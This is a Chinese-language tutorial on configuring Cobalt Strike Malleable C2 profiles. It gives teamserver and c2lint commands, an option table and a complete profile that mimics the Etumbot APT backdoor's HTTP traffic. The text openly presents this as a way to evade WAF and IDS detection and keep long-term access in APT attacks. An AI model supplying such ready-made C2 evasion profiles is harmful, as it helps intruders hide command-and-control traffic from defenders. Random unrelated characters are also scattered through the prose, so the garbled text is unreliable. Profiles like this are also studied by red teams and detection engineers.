Cobalt Strike的配置文件講解
簡(jiǎn)介
Beacon是Cobalt Strike為高級(jí)攻擊者建模的Payload。使用Beacon通過(guò)HTTP,HTTPS或DNS出口網(wǎng)絡(luò)酸舍。而且Beacon非常靈活,支持異步和交互式通信让腹。異步通信既低又慢赡若。Beacon將通訊本地盒音,下載任務(wù)埋合,然后進(jìn)入睡眠狀態(tài)卒废。交互式通信實(shí)時(shí)發(fā)生粥谬。
cobalt Strike 的Beacon(信標(biāo))的一些Http特征信息可以由C2配置文件進(jìn)行修改和定制化伐庭,所以可定制的C2配置文件可以指定服務(wù)端如何發(fā)送,接受數(shù)據(jù)的規(guī)律和格式原押,防止被WAF胁镐,IDS對(duì)流量進(jìn)行識(shí)別導(dǎo)致被發(fā)現(xiàn)。
可以在啟動(dòng)cs服務(wù)端的時(shí)候诸衔,指定一個(gè)配置文件進(jìn)行加載
./teamserver [external IP] [password] [/path/to/my.profile]
配置文件詳解
檢查配置文件
cobalt Strike提供了一個(gè)小程序C2lint盯漂,用來(lái)檢查你編寫的配置文件是否是可用的,是否有錯(cuò)誤笨农,這個(gè)程序會(huì)檢查你的語(yǔ)法是否正確就缆,并且會(huì)生成一個(gè)簡(jiǎn)單的交互過(guò)程讓你預(yù)覽,cobalt Strike強(qiáng)烈推薦你在正式使用之前用這個(gè)小程序來(lái)檢查一下谒亦。
./c2lint [/path/to/my.profile]
編寫配置文件
編寫一個(gè)配置文件最好的方式就是根據(jù)現(xiàn)有的配置文件進(jìn)行修改竭宰,現(xiàn)在提供一個(gè)github上面的C2-Profiles例子:
https://github.com/rsmudge/Malleable-C2-Profiles
可以看到配置文件大概長(zhǎng)這樣:
set global_option "value";
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
所有的配置信息都是寫在{}
大括號(hào)里面。
例如:
http-get {
set uri "/fengxuan";
client {
metadata {
base64;
prepend "user=";
header "Cookie";
}
}
}
這個(gè)配置定義了在HTTP協(xié)議中Get請(qǐng)求的傳輸份招,第一句set uri
, 表示切揭,在當(dāng)請(qǐng)求/fengxuan
這個(gè)URL的時(shí)候,會(huì)執(zhí)行以下的配置锁摔。
那么整段配置是什么意思呢廓旬?
就是在請(qǐng)求/fengxuan
這個(gè)地址的時(shí)候,http header中的 user字段里面的內(nèi)容會(huì)進(jìn)行base64加密然后再進(jìn)行傳輸谐腰,從這個(gè)地址接受的返回包孕豹,http header中的 user字段會(huì)進(jìn)行base64解密。
數(shù)據(jù)傳輸?shù)臉?biāo)記語(yǔ)法
Statement | Action | Inverse |
---|---|---|
append "string" | 追加"string"參數(shù) | 去除strings參數(shù)的字符串 |
base64 | Base64 編碼 | Base64 解碼 |
base64url | 對(duì)url進(jìn)行Base64 編碼 | 對(duì)url進(jìn)行Base64 解碼 |
mask | XOR mask w/ random key | XOR mask w/ same random key |
netbios | NetBIOS 編碼 | NetBIOS 解碼 |
netbiosu | NetBIOS 編碼(大寫) | NetBIOS 解碼(大寫) |
prepend "string" | 添加"string"參數(shù) | 去除strings參數(shù)的字符串 |
對(duì)標(biāo)記語(yǔ)法處理的四種方式
Statement | What |
---|---|
header "header" | 把編碼過(guò)后的參數(shù)作用于header中 |
parameter "key" | 把編碼過(guò)后的參數(shù)作用于URL參數(shù)中 |
把編碼過(guò)后的參數(shù)作用于POST方式中的body中 | |
uri-append | 將編碼過(guò)后的參數(shù)追加到URL中 |
其他的選項(xiàng)
Option | Context | Default Value | Changes |
---|---|---|---|
data_jitter | 0 | 向http get和http post服務(wù)器輸出中附加隨機(jī)長(zhǎng)度字符串(取決于data_jitter的值)十气。 | |
dns_idle | 0.0.0.0 | 用于采用DNS信標(biāo)時(shí)的ip地址 | |
dns_max_txt | 252 | 最大的 DNS TXT 返回的長(zhǎng)度 | |
dns_sleep | 0 | 在每個(gè)dns請(qǐng)求之前的休眠時(shí)間. (毫秒值) | |
dns_stager_prepend | Prepend text to payload stage delivered to DNS TXT record stager | ||
dns_stager_subhost | .stage.123456. | DNS TXT記錄階段使用的子域名励背。 | |
dns_ttl | 1 | DNS的TTL值 | |
headers_remove | 在客戶端請(qǐng)求中去掉的header值 | ||
host_stage | true | Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. | |
jitter | 0 | 默認(rèn)增加的隨機(jī)值的比例(0-99%) | |
maxdns | 255 | 上傳數(shù)據(jù)時(shí)最大的DNS主機(jī)名 | |
pipename | msagent_## | 使用SMB信標(biāo)時(shí)點(diǎn)對(duì)點(diǎn)的名稱 | |
pipename_stager | status_## | Name of pipe to use for SMB Beacon's named pipe stager. Each # is replaced with a random hex value. | |
sample_name | My Profile | The name of this profile (used in the Indicators of Compromise report) | |
sleeptime | 60000 | 默認(rèn)休眠時(shí)間(毫秒值) | |
smb_frame_header | Prepend header to SMB Beacon messages | ||
ssh_banner | Cobalt Strike 4.2 | SSH client banner | |
ssh_pipename | postex_ssh_#### | Name of pipe for SSH sessions. Each # is replaced with a random hex value. | |
tcp_frame_header | Prepend header to TCP Beacon messages | ||
tcp_port | 4444 | TCP Beacon listen port | |
uri | http-get, http-post | [required option] | 交互時(shí)候的URI地址 |
uri_x86 | http-stager | x86 payload stage URI | |
uri_x64 | http-stager | x64 payload stage URI | |
useragent | Internet Explorer (Random) | 默認(rèn)的User-Agent | |
verb | http-get, http-post | GET, POST | 傳輸?shù)恼?qǐng)求協(xié)議 |
編寫好的配置文件模板
#
# Etumbot Profile
# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
c2lint檢查
這個(gè)過(guò)程可以檢查并且預(yù)覽交互過(guò)程
注意:有些警告,這個(gè)警告有時(shí)候會(huì)影響運(yùn)行砸西,不過(guò)大多數(shù)都不會(huì)椅野。
實(shí)戰(zhàn)
啟動(dòng)服務(wù)進(jìn)行攻擊
啟動(dòng)服務(wù)并且加載我們的配置文件
獲取權(quán)限
WireShark分析流量
分析get流量
分析post流量
總結(jié)
cobalt strike 的配置文件可以進(jìn)行高級(jí)定制化的攻擊,有效防止WAF,和IDS的追查竟闪。可以達(dá)到長(zhǎng)期的維持訪問杖狼,在APT攻擊中還是比較重要的炼蛤。
如果圖文看不懂可以看視頻